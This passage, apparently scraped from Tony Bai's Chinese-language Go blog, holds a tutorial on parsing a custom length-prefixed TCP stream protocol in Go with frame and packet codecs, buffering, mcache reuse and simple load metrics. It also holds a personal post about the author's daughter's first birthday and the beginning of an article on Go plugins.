href=\"https://github.com/golang/go/tree/master/src/runtime/netpoll.go\"\u003enetpoll\u003c/a\u003e。goroutine层面获得的net.Conn(无论是Accept的，还是Dial得到的)都展现出“阻塞”的特征，但这些net.Conn底层实现的fd(文件描述符)在netpoll中都是non-blocking(非阻塞)的，Go运行时负责调用epoll等多路复用机制监视这些fd是否可读或可写，并适时唤醒goroutine继续网络I/O操作，这种方式减少了系统调用，也减少了运行Goroutine的M(操作系统线程)因系统调用陷入内核态等待的频率以及因阻塞失去M而不得不去创建新线程的数量。\u003c/p\u003e","title":"Go基于I/O多路复用的TCP协议流解析实践"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go\n1. Go经典阻塞I/O的TCP网络编程模型 Go语言诞生十多年来取得了飞速发展，并得到了全世界开发者的广泛接纳和应用，其应用领域广泛，包括：Web服务、数据库、网络编程、系统编程、DevOps、安全检测与管控、数据科学以及人工智能等。下面是2020年Go官方开发者调查的部分结果：\n图：2020年Go官方开发者调查之Go语言的应用领域(对比2019)\n我们看到**“Web编程”和“网络编程”**分别位列第一名和第四名，这个应用领域数据分布与Go语言最初的面向大规模分布式网络服务的设计目标十分契合。网络通信这块是服务端程序必不可少也是至关重要的一部分。Go标准库的net包是在Go中进行网络编程的基础。即便您没有直接使用到net包中有关TCP Socket方面的函数/方法或接口，但net/http包想必大家总是用过的，http包实现的是HTTP这个应用层协议，其在传输层使用的依旧是TCP Socket。\nGo是自带运行时的跨平台编程语言，由于Go运行时调度的需要，Go基于I/O多路复用机制(linux上使用epoll，macOS和freebsd上使用kqueue)设计和实现了一套适合自己的TCP Socket网络编程模型。并且，Go秉承了自己一贯的追求简单的设计哲学，Go向语言使用者暴露了简单的TCP Socket API接口，而将Go TCP socket网络编程的“复杂性”留给了自己并隐藏在Go运行时的实现中。这样，大多数情况下，Go开发者无需关心Socket是否是阻塞的，也无需亲自将Socket文件描述符的回调函数注册到类似epoll这样的系统调用中，而只需在每个连接对应的goroutine中以最简单最易用的**“阻塞I/O模型”**的方式进行Socket操作即可(像下图所示)，这种设计大大降低了网络应用开发人员的心智负担。\n这是经典的Go tcp网络编程模型。由于TCP是全双工模型，每一端(peer)都可以单独在已经建立的连接上进行读写，因此在Go中，我们常常针对一个已建立的TCP连接建立两个goroutine，一个负责从连接上读取数据(如需响应(ack)，也可以由该read goroutine直接回复)，一个负责将新生成的业务数据写入连接。\n以read goroutine为例，其典型的程序结构如下：\nfunc handleConn(c net.Conn) { defer c.Close() for { // read from the connection c ... ... // write ack to the connection c ... ... } } func main() { l, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:8888\u0026#34;) if err != nil { fmt.Println(\u0026#34;listen error:\u0026#34;, err) return } for { c, err := l.Accept() if err != nil { fmt.Println(\u0026#34;accept error:\u0026#34;, err) break } // start a new goroutine to handle // the new connection. go handleConn(c) // start a read goroutine } } 从上面代码，我们看到，针对每一个向server建立成功的连接，程序都会启动一个reader goroutine负责从连接读取数据，并在处理后，返回(向连接写入)响应(ack)。这样的程序结构已经直白到无法再直白了，即便你是网络编程小白，看懂这样的程序想必也不会费多少脑细胞。\n我们知道，TCP传输控制协议是一种面向连接的、可靠的、基于字节流的传输层通信协议，因此TCP socket编程多为流数据(streaming)处理。这种数据的特点是按序逐个字节传输，在传输层没有明显的数据边界(只有应用层能识别出协议数据的边界，这个依赖应用层协议的定义)。TCP发送端发送了1000个字节，TCP接收端就会接收到1000个字节。发送端可能通过一次发送操作就发送了这1000个字节，但接收端可能通过10次读取操作才读完这1000个字节，也就是说发送端的发送动作与接收端的接收动作并没有严格的一一对应关系。这与UDP协议基于数据报(diagram)形式的数据传输形式有本质差别(更多关于tcp与udp差别的内容可以详见《TCP/IP详解卷1：协议》一书)。\n本文我们就来了解一下基于经典Go阻塞式网络I/O模型对基于TCP流的自定义协议进行解析的基本模式。\n2. 自定义协议简述 为了便于后续内容展开，我们现在这里说明一下我们即将解析的自定义流协议。基于TCP的自定义应用层流协议有两种常见的定义模式：\n二进制模式 采用长度字段分隔，常见的包括：mqtt(物联网最常用的应用层协议之一)、cmpp(中国移动互联网短信网关接口协议)等。\n文本模式 采用特定分隔符分割和识别，常见的包括http等。\n这里我们使用二进制模式来定义我们即将解析的应用层协议，下面是协议的定义：\n这是一个请求应答协议，请求包和应答包的第一个字段都是包总长度，这也是在应用层用于“分割包”的最重要字段。第二个字段则是用于标识包类型，这里我们定义四种类型：\nonst ( CommandConn = iota + 0x01 // 0x01，连接请求包 CommandSubmit // 0x02，消息发送请求包 ) const ( CommandConnAck = iota + 0x80 // 0x81，连接请求的响应包 CommandSubmitAck //0x82，消息发送请求的响应包 ) ID是每个连接上请求的消息流水，多用于请求发送方后续匹配响应包之用。请求包与响应包唯一的不同之处在于最后一个字段，请求包定义了有效载荷(payload)，而响应包则定义了请求包的响应状态字段(result)。\n明确了应用层协议包的定义后，我们就来看看如何解析这样的一个流协议吧。\n3. 建立Frame和Packet抽象 在真正开始编写代码前，我们先来针对上述应用层协议建立两个抽象概念：Frame和Packet。\n首先，我们设定无论是从client到server，还是server到client，数据流都是由一个接一个Frame组成的，上述的协议就封装在这一个个的Frame中。我们可以通过特定的方法将Frame与Frame分割开来：\n每个Frame由一个totalLength和frame payload构成，如下图左侧Frame结构所示：\n这样，我们通过Frame header: totalLength即可将Frame之间隔离开来。我们将Frame payload定义为一个packet，每个Packet的结构如上图右侧所示。每个packet包含commandID、ID和payload(packet payload)字段。\n这样我们就将上述的协议转换为由Frame和Packet两个抽象组成的TCP流了。\n4. 阻塞式TCP流协议解析的基本程序结构 建立完抽象后，我们就要开始解析这个协议了！下图是该阻塞式TCP流协议解析的server流程图：\n我们看到tcp流数据先后经由frame decode和packet decode后得到应用层所需的packet数据，应用层回复的响应则先后经过packet的encode与frame的encode后写入tcp响应流中。\n下面我们就先来看看frame编解码的代码。我们首先定义frame编码器的接口类型：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/frame/frame.go type FramePayload []byte type StreamFrameCodec interface { Encode(io.Writer, FramePayload) error // data -\u0026gt; frame，并写入io.Writer Decode(io.Reader) (FramePayload, error) // 从io.Reader中提取frame payload，并返回给上层 } 我们将流数据的输入定义为io.Reader，将流数据输出定义为io.Writer。和上图中的设计意义，Decode方法返回framePayload，而Encode会将输入的framePayload编码为frame并写入outbound的tcp流。\n一旦确定好接口方法集，我们就来给出一个StreamFrameCodec接口的实现：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/frame/frame.go type myFrameCodec struct{} func NewMyFrameCodec() StreamFrameCodec { return \u0026amp;myFrameCodec{} } func (p *myFrameCodec) Encode(w io.Writer, framePayload FramePayload) error { var f = framePayload var totalLen int32 = int32(len(framePayload)) + 4 err := binary.Write(w, binary.BigEndian, \u0026amp;totalLen) if err != nil { return err } // make sure all data will be written to outbound stream for { n, err := w.Write([]byte(f)) // write the frame payload to outbound stream if err != nil { return err } if n \u0026gt;= len(f) { break } if n \u0026lt; len(f) { f = f[n:] } } return nil } func (p *myFrameCodec) Decode(r io.Reader) (FramePayload, error) { var totalLen int32 err := binary.Read(r, binary.BigEndian, \u0026amp;totalLen) if err != nil { return nil, err } buf := make([]byte, totalLen-4) _, err = io.ReadFull(r, buf) if err != nil { return nil, err } return FramePayload(buf), nil } 在上面在这段实现中，有三点要注意：\n网络字节序使用大端字节序(BigEndian)，因此无论是Encode还是Decode，我们都是用binary.BigEndian； binary.Read或Write会根据参数的宽度读取或写入对应的字节个数的字节，这里totalLen使用int32，那么Read或Write只会操作流中的4个字节； 这里没有设置deadline，因此io.ReadFull一般会读满你所需的字节数，除非遇到EOF或ErrUnexpectedEOF。 接下来，我们再看看Packet的编解码。和Frame不同，Packet有多种类型(这里仅定义了Conn, submit，connack, submit ack)。因此我们首先抽象一下这些类型需要遵循的共同接口：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/packet/packet.go type Packet interface { Decode([]byte) error // []byte -\u0026gt; struct Encode() ([]byte, error) // struct -\u0026gt; []byte } 其中Decode是将一段字节流数据解码为一个Packet类型，可能是conn，可能是submit等(根据解码出来的commandID判断)。而Encode则是将一个Packet类型编码为一段字节流数据。下面是submit和submitack类型的Packet接口实现：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/packet/packet.go type Submit struct { ID string Payload []byte } func (s *Submit) Decode(pktBody []byte) error { s.ID = string(pktBody[:8]) s.Payload = pktBody[8:] return nil } func (s *Submit) Encode() ([]byte, error) { return bytes.Join([][]byte{[]byte(s.ID[:8]), s.Payload}, nil), nil } type SubmitAck struct { ID string Result uint8 } func (s *SubmitAck) Decode(pktBody []byte) error { s.ID = string(pktBody[0:8]) s.Result = uint8(pktBody[8]) return nil } func (s *SubmitAck) Encode() ([]byte, error) { return bytes.Join([][]byte{[]byte(s.ID[:8]), []byte{s.Result}}, nil), nil } 不过上述各种类型的编解码被调用的前提是明确数据流是什么类型的，因此我们需要在包级提供一个对外的函数Decode，该函数负责从字节流中解析出对应的类型(根据commandID)，并调用对应类型的Decode方法：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/packet/packet.go func Decode(packet []byte) (Packet, error) { commandID := packet[0] pktBody := packet[1:] switch commandID { case CommandConn: return nil, nil case CommandConnAck: return nil, nil case CommandSubmit: s := Submit{} err := s.Decode(pktBody) if err != nil { return nil, err } return \u0026amp;s, nil case CommandSubmitAck: s := SubmitAck{} err := s.Decode(pktBody) if err != nil { return nil, err } return \u0026amp;s, nil default: return nil, fmt.Errorf(\u0026#34;unknown commandID [%d]\u0026#34;, commandID) } } 同样，我们也需要包级的Encode函数，根据传入的packet类型调用对应的Encode方法实现对象的编码：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/pkg/packet/packet.go func Encode(p Packet) ([]byte, error) { var commandID uint8 var pktBody []byte var err error switch t := p.(type) { case *Submit: commandID = CommandSubmit pktBody, err = p.Encode() if err != nil { return nil, err } case *SubmitAck: commandID = CommandSubmitAck pktBody, err = p.Encode() if err != nil { return nil, err } default: return nil, fmt.Errorf(\u0026#34;unknown type [%s]\u0026#34;, t) } return bytes.Join([][]byte{[]byte{commandID}, pktBody}, nil), nil } 好了，万事俱备只欠东风！下面我们就来编写程序结构，将tcp conn与Frame、Packet连接起来：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1/cmd/server/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net\u0026#34; \u0026#34;github.com/bigwhite/tcp-stream-proto/demo1/pkg/frame\u0026#34; \u0026#34;github.com/bigwhite/tcp-stream-proto/demo1/pkg/packet\u0026#34; ) func handlePacket(framePayload []byte) (ackFramePayload []byte, err error) { var p packet.Packet p, err = packet.Decode(framePayload) if err != nil { fmt.Println(\u0026#34;handleConn: packet decode error:\u0026#34;, err) return } switch p.(type) { case *packet.Submit: submit := p.(*packet.Submit) fmt.Printf(\u0026#34;recv submit: id = %s, payload=%s\\n\u0026#34;, submit.ID, string(submit.Payload)) submitAck := \u0026amp;packet.SubmitAck{ ID: submit.ID, Result: 0, } ackFramePayload, err = packet.Encode(submitAck) if err != nil { fmt.Println(\u0026#34;handleConn: packet encode error:\u0026#34;, err) return nil, err } return ackFramePayload, nil default: return nil, fmt.Errorf(\u0026#34;unknown packet type\u0026#34;) } } func handleConn(c net.Conn) { defer c.Close() frameCodec := frame.NewMyFrameCodec() for { // read from the connection // decode the frame to get the payload // the payload is undecoded packet framePayload, err := frameCodec.Decode(c) if err != nil { fmt.Println(\u0026#34;handleConn: frame decode error:\u0026#34;, err) return } // do something with the packet ackFramePayload, err := handlePacket(framePayload) if err != nil { fmt.Println(\u0026#34;handleConn: handle packet error:\u0026#34;, err) return } // write ack frame to the connection err = frameCodec.Encode(c, ackFramePayload) if err != nil { fmt.Println(\u0026#34;handleConn: frame encode error:\u0026#34;, err) return } } } func main() { l, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:8888\u0026#34;) if err != nil { fmt.Println(\u0026#34;listen error:\u0026#34;, err) return } for { c, err := l.Accept() if err != nil { fmt.Println(\u0026#34;accept error:\u0026#34;, err) break } // start a new goroutine to handle // the new connection. go handleConn(c) } } 在上面这个程序中，main函数是标准的“one connection per goroutine”的结构，重点逻辑都在handleConn中。在handleConn中，我们看到十分清晰的代码结构：\nread conn -\u0026gt;frame decode -\u0026gt; handle packet -\u0026gt; packet decode -\u0026gt; packet(ack) encode -\u0026gt;frame(ack) encode write conn 到这里，一个经典阻塞式TCP流解析的demo就完成了(你可以将demo中提供的client和server run起来验证一下)。\n5. 可能的优化点 在上面的demo1中，我们直接将net.Conn实例传给frame.Decode作为io.Reader参数的实参，这样我们每次调用Read方法都是直接从Conn中读取数据。不过Go runtime使用net poller将net.Conn.Read转换为io多路复用的等待，避免了每次从net.Conn直接读取都转换为一次系统调用。但即便如此，也可能会多一次goroutine的上下文切换(在数据尚未ready的情况下)。虽然goroutine的上下文切换代价相较于线程切换要小许多，但毕竟这种切换并不是免费的，我们要减少这种切换。我们可以通过缓存读的方式来减少net.Conn.Read真实调用的频率。我们可以像下面这样改造demo1的例子：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo2/cmd/server/main.go func handleConn(c net.Conn) { defer c.Close() frameCodec := frame.NewMyFrameCodec() rbuf := bufio.NewReader(c) // 为io增加缓存 for { // read from the connection // decode the frame to get the payload // the payload is undecoded packet framePayload, err := frameCodec.Decode(rbuf) // 使用bufio，减少直接read conn.Conn的次数 if err != nil { fmt.Println(\u0026#34;handleConn: frame decode error:\u0026#34;, err) return } ... ... } ... ... } bufio内部每次从net.Conn尝试读取其内部缓存(buf)大小的数据，而不是用户传入的希望读取的数据大小。这些数据缓存在内存中，这样后续Read就可以直接从内存中得到数据，而不是每次都从net.Conn读取，从而降低goroutine上下文切换的频率。\n除此之外，我们在frame包中的frame Decode实现如下：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo2/pkg/frame/frame.go func (p *myFrameCodec) Decode(r io.Reader) (FramePayload, error) { var totalLen int32 err := binary.Read(r, binary.BigEndian, \u0026amp;totalLen) if err != nil { return nil, err } buf := make([]byte, totalLen-4) _, err = io.ReadFull(r, buf) if err != nil { return nil, err } return FramePayload(buf), nil } 我们看到每次调用这个方法都会分配一个buf，并且buf是不定长的，这些在程序关键路径上的堆内存对象分配会给GC带来压力，我们要尽量避免或减小其频度，一个可行的办法是尽量重用对象，在Go中一提到重用内存对象，我们就想到了sync.Pool，但这里还有一个问题，那就是“不定长”，这给sync.Pool的使用增加了难度。\nmcache是字节技术团队开源的多级sync.Pool包，它可以根据你所要分配的对象大小选择不同的sync.Pool池，有些类似tcmalloc的多级(class)内存对象管理，与Go runtime的mcache也是类似的，mcache一共分为46个等级，每个等级一个sync.Pool：\n// github.com/bytedance/gopkg/tree/master/lang/mcache/mcache.go const maxSize = 46 // index contains []byte which cap is 1\u0026lt;\u0026lt;index var caches [maxSize]sync.Pool 我们可以从mcache中分配内存来换掉每次都申请一个[]byte的动作以达到内存对象重用，降低GC压力的目的：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo3/pkg/frame/frame.go func (p *myFrameCodec) Decode(r io.Reader) (FramePayload, error) { var totalLen int32 err := binary.Read(r, binary.BigEndian, \u0026amp;totalLen) if err != nil { return nil, err } buf := mcache.Malloc(int(totalLen - 4)) // 这里我们重用mcache中的内存对象 _, err = io.ReadFull(r, buf) if err != nil { return nil, err } return FramePayload(buf), nil } 有了mcache.Malloc，我们就需要在特定位置调用mcache.Free归还内存对象，而packet中的Decode就是最好的位置：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo3/pkg/packet/packet.go func Decode(packet []byte) (Packet, error) { defer mcache.Free(packet) // 在decode结束后，释放对象回mcache commandID := packet[0] pktBody := packet[1:] ... ... } 上面是两个在不动用pprof这样的工具的前提下就能识别出的较为明显的可优化的点，可优化的点可能还有很多，这里不一一列举了。\n6. 简单的压力测试 既然给出了优化的点，我们就来粗略压测一下优化前和优化后的程序。我们为两个版本程序添加上基于标准库expvar的计数器(以优化前的demo1为例)：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1-with-metrics/cmd/server/main.go func handleConn(c net.Conn) { defer c.Close() frameCodec := frame.NewMyFrameCodec() for { // read from the connection ... ... // write ack frame to the connection err = frameCodec.Encode(c, ackFramePayload) if err != nil { fmt.Println(\u0026#34;handleConn: frame encode error:\u0026#34;, err) return } monitor.SubmitInTotal.Add(1) // 每处理完一条消息，计数器+1 } } 在monitor包中，我们每秒计算一下处理性能：\n// github.com/bigwhite/experiments/tree/master/tcp-stream-proto/demo1-with-metrics/pkg/monitor/monitor.go func init() { // register statistics index SubmitInTotal = expvar.NewInt(\u0026#34;submitInTotal\u0026#34;) submitInRate = expvar.NewInt(\u0026#34;submitInRate\u0026#34;) go func() { var lastSubmitInTotal int64 ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case \u0026lt;-ticker.C: newSubmitInTotal := SubmitInTotal.Value() submitInRate.Set(newSubmitInTotal - lastSubmitInTotal) // 两秒处理的消息量之差作为处理速度 lastSubmitInTotal = newSubmitInTotal } } }() } 有了基于expvar的计数器，我们就可以通过带有导出csv功能的expvarmon工具获取程序每秒的处理性能了（压测客户端可以使用demo1-with-metrics的client)。下面的性能对比图是在一个4核8g的云主机上获得的（条件有限，压测client与server放在一台机器上了，必然相互干扰）：\n我们看到，优化后的程序从趋势上看略微好于优化前的(虽然不是很稳定)。\n如果你觉得采集瞬时值太够专业^_^，也可以在被测程序上添加基于go-metrics的metric，这个作业就留给大家了:)\n7. 小结 在本文中，我们简单说明了Go经典阻塞I/O的TCP网络编程模型，这种模型最大的好处就是简单，降低开发人员在处理网络I/O时的心智负担，将更多关注集中在业务层面。文中基于这种模型，给出了一个自定义流协议的解析实现框架，并说明了一些可优化的点。在非超大连接数量的场景下，这类模型会有不错性能和开发效率。一旦连接数量猛增，相应的处理这些连接的goroutine数量就会线性增加，Goroutine调度的开销就会显著增加，这个时候我们就要考虑是否使用其他模型应对了，这个我们在后续篇章再说。\n本文涉及的所有代码可以从这里下载：https://github.com/bigwhite/experiments/tree/master/tcp-stream-proto\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go\"\u003ehttps://tonybai.com/2021/07/28/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-go经典阻塞io的tcp网络编程模型\"\u003e1. Go经典阻塞I/O的TCP网络编程模型\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://mp.weixin.qq.com/s/woQeEQUhOLJ7KSE5rm5q6g\"\u003eGo语言诞生十多年\u003c/a\u003e来取得了飞速发展，并得到了全世界开发者的广泛接纳和应用，其应用领域广泛，包括：Web服务、数据库、网络编程、系统编程、DevOps、安全检测与管控、数据科学以及人工智能等。下面是2020年Go官方开发者调查的部分结果：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/classic-blocking-network-tcp-stream-protocol-parsing-practice-in-go-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：2020年Go官方开发者调查之Go语言的应用领域(对比2019)\u003c/p\u003e\n\u003cp\u003e我们看到**“Web编程”\u003cstrong\u003e和\u003c/strong\u003e“网络编程”**分别位列第一名和第四名，这个应用领域数据分布与Go语言最初的面向大规模分布式网络服务的设计目标十分契合。\u003cstrong\u003e网络通信\u003c/strong\u003e这块是服务端程序必不可少也是至关重要的一部分。Go标准库的net包是在Go中进行网络编程的基础。即便您没有直接使用到net包中有关\u003ca href=\"https://tonybai.com/2015/11/17/tcp-programming-in-golang/\"\u003eTCP Socket\u003c/a\u003e方面的函数/方法或接口，但net/http包想必大家总是用过的，http包实现的是HTTP这个应用层协议，其在传输层使用的依旧是TCP Socket。\u003c/p\u003e","title":"Go经典阻塞式TCP协议流解析的实践"},{"content":"本文永久链接 – https://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old\n时光飞逝 – 这是我在写这类记录孩子成长的文章时最喜欢用的一个词，也是最能体现我真实感受的一个词。一年前的今天，二闺女非常痛快地呱呱坠地，当时刚出生的她是这样的：\n而一年后的今天，现在的她是这样：\n这样：\n以及这样：\n就像她脸上快乐的笑容那样，这一年来她就是全家快乐的中心，爸爸妈妈喜欢她，姐姐更喜欢她。这一年，我和老婆私下里讨论过多次生二宝是否是一个正确决定这一话题，我们的意见很一致：这是这辈子做的最正确的决定之一。\n美好的结果并不意味着二宝的养育过程也是那么一帆风顺。和大多数孩子一样，一岁龄内的宝宝养育起来总是让家长殚精竭虑的。\n记得刚离开月子中没几周，二宝就开始出现肠胀气的现象，每天晚上7点以后就莫名的哇哇大哭，有时嚎啕大哭上半个小时也不见好转，这一症状整整持续了近两周，把我和老婆折腾地够呛。后在神药拜奥以及丁桂脐贴的合力下，孩子肠胀气的现象才有所缓解。\n二宝从出生到10个月期间最大的问题是太胖了。看下面百天儿时二宝的照片：\n二宝的体重和体长始终在这个月龄段孩子标准体重和身高的最高位置，甚至比同龄的男娃指标都要高出不少。这给我带来的最直接“伤害”有二：双手腱鞘炎以及诱发轻度腰椎间盘突出。现在双手依旧偶尔疼痛，甚至晚上睡觉翻身都会被手腕患处疼醒。而腰椎间盘突出则在我睡了三个月地板后有所缓解。\n除此之外，二宝还继承了她姐姐长牙晚和说话晚的“传统”，到一岁生日时才长出两颗下门牙，9个月会叫“妈妈”，但直到一岁才会偶尔喊出“爸爸”，如果继续晚下去，我们就又会陷入焦虑了。\n和姐姐小时候相比，二宝在吃这方面表现更好，爱吃还不挑食，不过口壮也是她胖胖的原因之一。二宝表现地比姐姐要淘气的多，脾气也有些暴躁，这与我们的溺爱估计是分不开的。\n二宝进入第12个月后，终于有了走路的意识，尤其是接近一岁时，她越来越喜欢走路，好奇心也越来越强，对一切她没见过的事物都要去碰碰、摸摸甚至是咬上一口^_^。\n一周岁生日那天，妈妈还为二宝准备了一个小仪式，房间的一角挂着二宝生日快乐的背景图，气球和彩灯也一应俱全：\n姐姐那天也很开心，不仅仅是因为她最喜欢的妹妹一周岁了，更是因为妹妹的生日蛋糕在小仪式后就都归她享用了^_^。\n图：姐妹俩1\n图：姐妹俩2\n图：姐妹俩3\n进入一岁龄的二闺女更像一个“快乐豆”了，每天都能给家里增添快乐与惊喜。\n看着两个孩子一起玩耍嬉戏的欢乐场景，作为父母，甚感欣慰。\n此次此刻，我们和普天下的所有父母一样，愿所有的幸福，所有的快乐，所有的温馨和好运都永远围绕在你们身边。你们永远是爸爸妈妈的最爱和骄傲。\n我爱你们，果果和七月!\n图：全家福^_^\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old\"\u003ehttps://tonybai.com/2021/07/23/my-second-daughter-is-one-year-old\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e时光飞逝\u003c/strong\u003e – 这是我在写这类记录孩子成长的文章时最喜欢用的一个词，也是最能体现我真实感受的一个词。一年前的今天，\u003ca href=\"https://tonybai.com/2020/07/29/my-second-daughter-is-one-year-old/\"\u003e二闺女非常痛快地呱呱坠地\u003c/a\u003e，当时刚出生的她是这样的：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/my-second-daughter/ally-was-born.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e而一年后的今天，现在的她是这样：\u003c/p\u003e","title":"二闺女一周岁了"},{"content":"\n本文永久链接 – https://tonybai.com/2021/07/19/understand-go-plugin\n要历数Go语言中还有哪些我还没用过的特性，在Go 1.8版本中引入的go plugin算一个。近期想给一个网关类平台设计一个插件系统，于是想起了go plugin^_^。\nGo plugin支持将Go包编译为共享库（.so）的形式单独发布，主程序可以在运行时动态加载这些编译为动态共享库文件的go plugin，从中提取导出(exported)变量或函数的符号并在主程序的包中使用。Go plugin的这种特性为Go开发人员提供更多的灵活性，我们可以用之实现支持热插拔的插件系统。\n但不得不提到的一个事实是：go plugin自诞生以来已有4年多了，但它依旧没有被广泛地应用起来。究其原因，（我猜）一方面Go自身支持静态编译，可以将应用编译为一个完全不需要依赖操作系统运行时库(一般为libc)的可执行文件，这是Go的优势，而支持go plugin则意味着你只能对主程序进行动态编译，与静态编译的优势相悖；而另外一方面原因占比更大，那就是Go plugin自身有太多的对使用者的约束，这让很多Go开发人员望而却步。\n只有亲历，才能体会到其中的滋味。在这篇文章中，我们就一起来看看go plugin究竟是何许东东，它对使用者究竟有着怎样的约束，我们究竟要不要使用它。\n1. go plugin的基本使用方法 截至Go 1.16版本，Go官方文档明确说明go plugin只支持Linux, FreeBSD和macOS，这算是go plugin的第一个约束。在处理器层面，go plugin以支持amd64(x86-64)为主，对arm系列芯片的支持似乎没有明确说明（我翻看各个Go版本release notes也没看到，也许是我漏掉了），但我在华为的泰山服务器(鲲鹏arm64芯片)上使用Go 1.16.2(for arm64)版本构建plugin包以及加载动态共享库.so文件的主程序都顺利通过编译，运行也一切正常。\n主程序通过plugin包加载.so并提取.so文件中的符号的过程与C语言应用运行时加载动态链接库并调用库中函数的过程如出一辙。下面我们就来看一个直观的例子。\n下面是这个例子的结构布局：\n// github.com/bigwhite/experiments/tree/master/go-plugin ├── demo1 │ ├── go.mod │ ├── main.go │ └── pkg │ └── pkg1 │ └── pkg1.go └── demo1-plugins ├── Makefile ├── go.mod └── plugin1.go 其中demo1代表主程序工程，demo1-plugins是主程序的plugins工程。下面是插件工程的代码：\n// github.com/bigwhite/experiments/tree/master/go-plugin/demo1-plugins/plugin1.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; ) func init() { log.Println(\u0026#34;plugin1 init\u0026#34;) } var V int func F() { fmt.Printf(\u0026#34;plugin1: public integer variable V=%d\\n\u0026#34;, V) } type foo struct{} func (foo) M1() { fmt.Println(\u0026#34;plugin1: invoke foo.M1\u0026#34;) } var Foo foo plugin包和普通的Go包没太多区别，只是plugin包有一个约束：其包名必须为main，我们使用下面命令编译该plugin：\n$go build -buildmode=plugin -o plugin1.so plugin1.go 如果plugin源代码没有放置在main包下面，我们在编译plugin时会遭遇如下编译器错误：\n-buildmode=plugin requires exactly one main package 接下来，我们来看主程序(demo1)：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/bigwhite/demo1/pkg/pkg1\u0026#34; ) func main() { err := pkg1.LoadAndInvokeSomethingFromPlugin(\u0026#34;../demo1-plugins/plugin1.so\u0026#34;) if err != nil { fmt.Println(\u0026#34;LoadAndInvokeSomethingFromPlugin error:\u0026#34;, err) return } 